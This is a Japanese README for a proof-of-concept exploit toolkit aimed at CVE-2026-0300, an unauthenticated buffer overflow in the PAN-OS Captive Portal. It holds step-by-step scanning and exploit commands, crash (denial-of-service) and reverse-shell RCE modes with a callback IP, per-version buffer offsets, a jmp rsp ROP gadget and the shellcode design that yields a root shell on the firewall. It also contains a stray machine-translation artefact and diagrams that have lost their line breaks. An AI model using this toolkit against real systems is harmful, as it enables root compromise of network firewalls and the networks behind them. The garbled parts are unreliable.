
Palo Alto - CVE-2026-0300 exploit
重大 (CVSS 9.3) — Palo Alto Networks PAN-OS Captive Portal における未認証のリモートコード実行
CVE-2026-0300 は、Palo Alto Networks PAN-OS ソフトウェアの User-ID Authentication Portal(別名 Captive Portal)サービスにおける重大なバッファオーバーフロー脆弱性です。認証されていない攻撃者は、特別に細工したパケットを送信することで、PA-Series および VM-Series ファイアウォール上で root 権限 による任意のコードを実行できます。
このリポジトリには、概念実証 (PoC) エクスプロイトツールキットが含まれています:
PAN-OS ソフトウェアの User-ID Authentication Portal サービスにおけるバッファオーバーフロー脆弱性により、認証されていない攻撃者が特別に細工したパケットを送信することで、ファイアウォール上で root 権限による任意のコード実行が可能になります。Captive Portal HTTP サービスは HTTP ヘッダーを解析する際に固定サイズのスタックバッファを使用するため、過大なヘッダー値 (Cookie、User-Agent、URI、POST 本文) によってオーバーフローを引き起こせます。
ターゲットが脆弱であるためには、以下の2つの条件が両方とも真である必要があります:
影響を受けないもの: Prisma Access、Cloud NGFW、Panorama アプライアンス。
┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘
### スキャナーフロー```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip port │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443,8843) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Captive Portal │──────────▶│ Not exposed │
│ fingerprint? │ └─────────────┘
│ (login.esp, │
│ User-ID, PA-, │
│ PAN-OS, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract PAN-OS │
│ version from │
│ Server header / │
│ response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Matched ranges │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘
---
## プロジェクト構成```
POC-CVE-2026-0300-exploit/
├── payload_gen.py # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt # Python dependencies
└── README.md # This file
git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit
pip3 install -r requirements.txt
**要件**: Python 3.8+、コア機能は標準ライブラリのみ。`requests` は任意です。
---
## スキャナーの使用方法 — ステップバイステップ
スキャナーは、脆弱なPAN-OS Captive Portalターゲットを特定するための安全で非侵入的なチェックを実行します。
### ステップ 1: 単一ターゲットをスキャンする```bash
python3 scan.py --target 192.168.1.1
### ステップ 3: ファイルから複数のターゲットをスキャン
1行に1つのターゲットを記述した `targets.txt` ファイルを作成します:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
INPUTが提供されていないため、翻訳するテキストがありません。翻訳対象のMarkdownコンテンツを送信してください。```bash python3 scan.py --targets targets.txt
### ステップ4: 結果をJSONとして保存```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE
### スキャナが検出する内容
| インジケーター | 方法 |
|-----------|--------|
| キャプティブポータルの露出 | HTTPフィンガープリント一致(login.esp、User-ID、PA-、PAN-OSパターン) |
| PAN-OSバージョン | サーバーヘッダーの解析、レスポンスボディの正規表現抽出 |
| 脆弱なバージョン | CVE-2026-0300の影響を受けるバージョン範囲との比較 |
| SSL証明書 | 証明書のサブジェクト/発行者によるターゲット識別 |
---
## エクスプロイトの使用方法 — ステップバイステップ
このエクスプロイトは、強度が増す3つのモードをサポートしています。
### モード1: 検出(安全、非侵入型)
中程度に大きいヘッダーを送信し、通常のリクエストと応答を比較します。サービスをクラッシュさせません。```bash
python3 exploit.py --target 192.168.1.1 --mode detect
機能:
無効な戻りアドレス(0x41414141)を含むバッファオーバーフローペイロードを送信して、キャプティブポータルサービスをクラッシュさせます。```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
**機能**:
- バージョン固有のオーバーフローペイロードを生成します
- リターンアドレスを0x4141414141414141で上書きします
- 選択したオーバーフローベクター(デフォルト: Cookieヘッダー)で送信します
- 後続リクエストでサービスがクラッシュしたことを確認します
- ペイロード後にサービスがダウンしているかどうかを報告します
**オプション**:
- `--vector cookie|ua|uri|post` — オーバーフローベクターを選択(デフォルト: cookie)
- `--http` — HTTPSの代わりにHTTPを使用
### モード3: 完全なRCE(リバースシェル)
リバースシェルペイロードを使用したバッファオーバーフローを送信します。コールバックを受信するリスナーを起動します。```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
--version 11.2.7 \
--callback-ip 10.0.0.1 \
--callback-port 4444
動作内容:
必須引数:
--version — 対象の PAN-OS バージョン (バッファオフセットと ROP ガジェットを決定)--callback-ip — 自分の IP アドレス (ターゲットから到達可能である必要があります)--callback-port — リバースシェルコールバック用のポート (デフォルト: 4444)オプション引数:
--vector cookie|ua|uri|post — オーバーフローベクター (デフォルト: cookie)--nop-sled 128 — NOP sled のサイズ (バイト単位) (デフォルト: 128)--timeout 30 — 接続およびリスナーのタイムアウト (秒)--http — HTTPS の代わりに HTTP を使用--json report.json — エクスプロイトレポートを JSON として保存[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!
### 対応バージョンとベクター
**バージョン**(バージョン固有のバッファオフセット付き):
| Version | Buffer Offset | ROP Gadget | Default Vector |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |
**ベクター**:
| Vector | Header/Location | Description |
|--------|----------------|-------------|
| `cookie` | Cookie header | Overflow via oversized Cookie value |
| `ua` | User-Agent header | Overflow via oversized User-Agent value |
| `uri` | Request URI path | Overflow via oversized URI path |
| `post` | POST body | Overflow via oversized POST form data |
---
## ペイロード設計
### バッファオーバーフローのレイアウト```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Header Value (Cookie / User-Agent / URI / POST body) │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│ Padding │ Saved │ ROP │ NOP │ Shellcode │
│ (to │ Frame │ Gadget │ Sled │ (reverse shell) │
│ offset) │ Pointer │ (jmp │ (\x90 │ │
│ │ (8 B) │ rsp) │ * N) │ │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
↑ ↑
Buffer overflow Return address overwritten
overwrites here with jmp rsp gadget
このエクスプロイトは位置独立のx86_64 Linuxシェルコードを使用しており、次のことを行います:
socket(AF_INET, SOCK_STREAM, 0))connect())dup2())execve("/bin/sh", NULL, NULL))シェルコードの合計サイズ: ~184バイト、syscall命令(\x0f\x05)を含みます。
このツールは認可されたセキュリティテストおよび教育目的のみのために提供されています。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。本番システムへの不正使用は違法であり、コンピュータ詐欺・悪用に関する法律に違反する可能性があります。
著者はこのツールの誤用について一切の責任を負いません。常に責任ある開示の慣行に従い、適用される法律と規制を遵守してください。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-0300 |
| 深刻度 | 重大 |
| CVSS 4.0 | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| CWE | CWE-787: Out-of-bounds Write |
| CAPEC | CAPEC-100: Overflow Buffers |
| 影響 | 未認証のリモートコード実行 (root) |
| 悪用状況 | 実環境での限定的な悪用が確認されています |
| PAN-OS ブランチ | 脆弱なバージョン | 修正バージョン |
|---|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |